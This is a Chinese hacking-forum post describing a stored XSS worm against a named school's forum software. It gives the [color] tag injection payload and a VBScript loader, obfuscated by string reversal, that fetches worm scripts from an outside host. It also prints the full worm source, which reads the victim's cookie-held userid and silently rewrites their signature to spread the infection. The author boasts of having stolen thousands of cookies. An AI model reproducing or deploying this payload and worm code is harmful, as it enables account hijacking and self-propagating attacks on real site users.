议题作者:Inking
信息来源:邪恶八进制社区

比较讨厌打字,我就简单的说一下吧.
目标:学校自己写的论坛程序,经过了n年的风风雨雨了
漏洞描述:转换ubb的任务是在客户端完成的(js),虽然论坛程序对客户端提交的代码进行了转义(如:<>"'等),但是却对ubb代码的属性的javascript字符进行转义,结果就导致了ubb漏洞,漏洞关键代码如下


    pattern=/(\[URL\])(.[^\[]*)(\[\/URL\])/gi;
    strContent= strContent.replace(pattern,"<A HREF=\"$2\" TARGET=_blank>$2</A>")
    pattern=/\[color=(.[^\[]*)\](.*?)\[\/color\]/gi;
    strContent=strContent.replace(pattern,"<span style=\"color:$1;\">$2</span>");

我们再来看看插入html里面后是怎么样的,这里我插入的是签名档,其它地方也是一样的,查看页面源代码看到


    <span id="ubbcode2" >test</span><script>searchubb('ubbcode2',3,'tablebody2');</script>

代码中的链接:

这里的[url]ubb标签不是很好利用,因为他的TARGET=_blank,如果你写入javascript:alert (document.cookie)根本获取不到cookie,因为代码在空白页面中执行了,不过你可以写入javascript: window.location...不过不隐蔽,我们需要更加好的隐藏方式,找来找去唯有[color]这个标签比较好用.我们可以这样来进行闭合


    [color=green" style="background:url(javascript:alert(/xss/))][//color]

下面可以来写调用蠕虫的代码了.我这样写


    set j=document.createElement(""script""):j.src=""http://xxx/a.js"":document.getElementById(""ubbcode1"").appendChild(j):set v=document.createElement(""script""):v.src=""http://xxx/vb.vbs"":v.language=""vbscript"":document.getElementById(""ubbcode1"").appendChild(v)

但是这里问题有一个,刚才漏洞代码里面的url标签会干扰上面的代码里的"http://xxx/vb.vbs",误认为这句话也需要转换,所以上面的代码就出错了.解决的方法有两个1是将上面的代码用10进制转换,然后再用String.fromCharCode转换回来,在eval执行,不过这样转换后的代码太长了,想做蠕虫不适合.所以找了一个晚上找到了这么一个解决办法:不要js,用vbs,先将代码倒着写,然后用StrReverse倒回来,再 execute执行,这样那个正则就不会看到http这个字符了,程序完美的执行,代码如下


    [color=green" style='background:url(vbscript:execute(StrReverse(")v(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""tpircsbv""=egaugnal.v:""gpj.sbv/xxx//:ptth""=crs.v:)""tpircs""(tnemelEetaerc.tnemucod=v tes:)j(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""gpj.sj/xxx//:ptth""=crs.j:)""tpircs""(tnemelEetaerc.tnemucod=j tes")))']

这里调用了两个文件,一个是js文件,另一个是vbs文件,这两个就是蠕虫程序了两个文件的代码如下


    //worm.js
    function makeRequest(method,url,data){
        http_request = false;
        if (window.XMLHttpRequest){ // Mozilla, Safari,...
            http_request = new XMLHttpRequest();
            if (http_request.overrideMimeType){
                http_request.overrideMimeType('text/xml');
            }
        }else if (window.ActiveXObject) { // IE
            try {
                http_request = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {}
            }
        }
        if (!http_request) {
            alert('Giving up :( Cannot create an XMLHTTP instance');
            return false;
        }
        method=='GET'?http_request.onreadystatechange = alertContents:http_request.onreadystatechange=postback;
        http_request.open(method, url, true);
        if(method=='POST'){
            http_request.setRequestHeader("content-length",data.length);
            http_request.setRequestHeader("content-type","application/x-www-form-urlencoded");
        }
        http_request.send(data);
    }

    function alertContents() {
        if (http_request.readyState == 4) {
            if (http_request.status == 200) {
                content=bytes2BSTR(http_request.responseBody);
                pattern=/name=\"title\" value\=\"(.*?)\"/gi;//匹配头衔
                re=pattern.exec(content);
                title=re[1];
                pattern=/value=\"([01])\" checked name=\"Sex\"|name=\"Sex\" checked  value=\"([01])\"/gi;//匹配性别
                re=pattern.exec(content);
                Sex=re[1]==''?re[2]:re[1];
                pattern=/onclick=\"birth_ctrl\(\)\" ([checked=\"]*?) \/>/gi;//匹配用户生日是否为空
                re=pattern.exec(content);
                isbirthnull=re[1]==''?'':'null';
                if(isbirthnull==''){
                   pattern=/\<option value=\"([0-9]{4})\" selected\>/gi;//匹配出生年
                   re=pattern.exec(content);
                   birthyear=re[1];
                   pattern=/\<option value=\"([0-9]{1,2})\" selected\>/gi;//匹配出生月日
                   var inre=1;
                   while((re=pattern.exec(content))!=null){
                       inre==1?birthmonth=re[1]:birthday=re[1];
                       inre++;
                   }
                }
                else{
                    birthyear='';
                    birthmonth='';
                    birthday='';
                }
                pattern=/name=\"myface\" size=30 maxlength=100 value=(.*?)>/gi;//匹配用户头像
                re=pattern.exec(content);
                myface=re[1];
                pattern=/name=\"width\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像宽度
                re=pattern.exec(content);
                width=re[1];
                pattern=/name=\"height\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像高度
                re=pattern.exec(content);
                height=re[1];
                pattern=/name=\"userphoto\" value=\"(.*?)\"/gi;//匹配用户照片
                re=pattern.exec(content);
                userphoto=re[1];
                pattern=/name=\"groupname\" value=\"(.*?)\"/gi;//匹配用户门派
                re=pattern.exec(content);
                groupname=re[1];
                pattern=/wrap=PHYSICAL\>(.*?)\<\/textarea\>/gi;//匹配签名内容
                re=pattern.exec(content);
                Signature=re[1];
                pattern=/name=\"usercookies\" value=\"([0-9])\" checked/gi;//匹配用户cookies
                re=pattern.exec(content);
                usercookies=re[1];
                pattern=/name=setuserinfo value=([0-1])  checked/gi;//匹配用户保密
                re=pattern.exec(content);
                setuserinfo=re[1];
                extras="%5Bcolor%3Dgreen%22%20style%3D%27background%3Aurl%28vbscript%3Aexecute%28StrReverse%28%22%29v%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22tpircsbv%22%22%3Degaugnal.v%3A%22%22gpj.sbv/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.v%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dv%20tes%3A%29j%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22gpj.sj/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.j%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dj%20tes%22%29%29%29%27%5D%5B/color%5D";
                //extras=URLEncoding(extras);
                if(Signature.indexOf("StrReverse")>-1){
                    return false;
                }
                face='gg1.gif';
                post='title='+title+'&Sex='+Sex+'&isbirthnull='+isbirthnull+'& birthyear='+birthyear+'&birthmonth='+birthmonth+'&birthday='+birthday +'&face='+face+'&myface='+myface+'&width='+width+'&height ='+height+'&userphoto='+userphoto+'&groupname='+groupname+'&Signature ='+Signature+'%20'+extras+'&usercookies='+usercookies+'&setuserinfo ='+setuserinfo+'&Submit='+escape('更 新');
                cookies=document.cookie.split(";");
                for(var i=0;i<cookies.length;i++){
                    if(cookies[i].indexOf('userid')>-1)
                        uc=cookies[i];
                }
                uc=uc.split("&");
                for(var i=0;i<uc.length;i++){
                    if(uc[i].indexOf('userid')>-1)
                        uid=uc[i];
                }
                post=URLEncoding(post);
                url='http://10.71.45.98/mymodify.asp?action=updat&'+uid;
                makeRequest('POST',url,post);
            } else {
                alert('There was a problem with the request.');
            }
        }
    }

    function postback(){
    }
    var http_request = false;
    var url='http://10.71.45.98/mymodify.asp';
    makeRequest('GET',url,null);

    'worm.vbs
    '以下函数是uft8和gbk的转码函数,为了返回的内容是对的
    Function bytes2BSTR(vIn)
    strReturn = ""
    For i = 1 To LenB(vIn)
    ThisCharCode = AscB(MidB(vIn,i,1))
    If ThisCharCode < &H80 Then
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn,i+1,1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    i = i + 1
    End If
    Next
    bytes2BSTR = strReturn
    End Function

    '以下函数为url编码函数,这个是为了post过去的函数是对的
    Function URLEncoding(vstrIn)
    strReturn = ""
    For i = 1 To Len(vstrIn)
    ThisChr = Mid(vStrIn,i,1)
    If Abs(Asc(ThisChr)) < &HFF Then
    strReturn = strReturn & ThisChr
    Else
    innerCode = Asc(ThisChr)
    If innerCode < 0 Then
    innerCode = innerCode + &H10000
    End If
    Hight8 = (innerCode And &HFF00)\ &HFF
    Low8 = innerCode And &HFF
    strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
    End If
    Next
    URLEncoding = strReturn
    End Function

其中对vbs文件进行简单的说明,由于ajax只认识uft-8,所以返回或者接收到的都会是乱码,所以需要这个vbs进行转码,然后再urlencode进行post
下面对js文件进行详细的说明
对于makeRequest这个自定义函数只要学过ajax的都知道,这个是主要代码,哪里都差不多,所以就不说了.
alertContents函数是对返回的数据进行正则匹配,筛选出要的数据备用具体工作的流程是这样的:
由于我是将蠕虫代码插入到个人签名里面的,所以首先get到http://10.71.45.98/mymodify.asp地址(个人签名修改页),用来get的函数是makeRequest(),然后makeRequest函数将返回的数据传给alertContents() 函数,alertContents函数对mymodify.asp的内容进行正则匹配,得到用户原来的个性签名,出生年月等信息,毕竟我们在插入代码的时候要保证用户原来的信息的完整性,这样才能达到隐蔽的效果.得到这些信息后alertContents函数再将我的恶意代码连同用户原来的信息post到http://10.71.45.98/mymodify.asp?action=updat&uid=xxxx这个页面上去,这样就修改了用户数据,插入了蠕虫传染代码,变量extras的值就是蠕虫传播代码,经过了escape加密的,这样是为了防止程序出错,post上去的数据能够保持完整.
好了代码其实都很简单,里面也没有什么破坏的代码,甚至连个弹窗的代码,毕竟这个论坛不是那么好搞的,万一被查,我就卷铺盖走人了.利用方式也很简单,将上面的上面的上面的代码先插入到某个人的签名档里面,然后只要他去发帖,别人点了后马上感染,然后再感染.这个漏洞还是比较隐蔽的,按照上面的代码没有任何异常的现象.
本来想贴几张图的,没想到是知道的我的事情的人太多了还是之前自己在盗cookie的时候被发现了(那cookie的量可是相当的大,几千个呵呵),在写这篇文章的时候漏洞居然给补上了,我寒.有鸡蛋就扔过来吧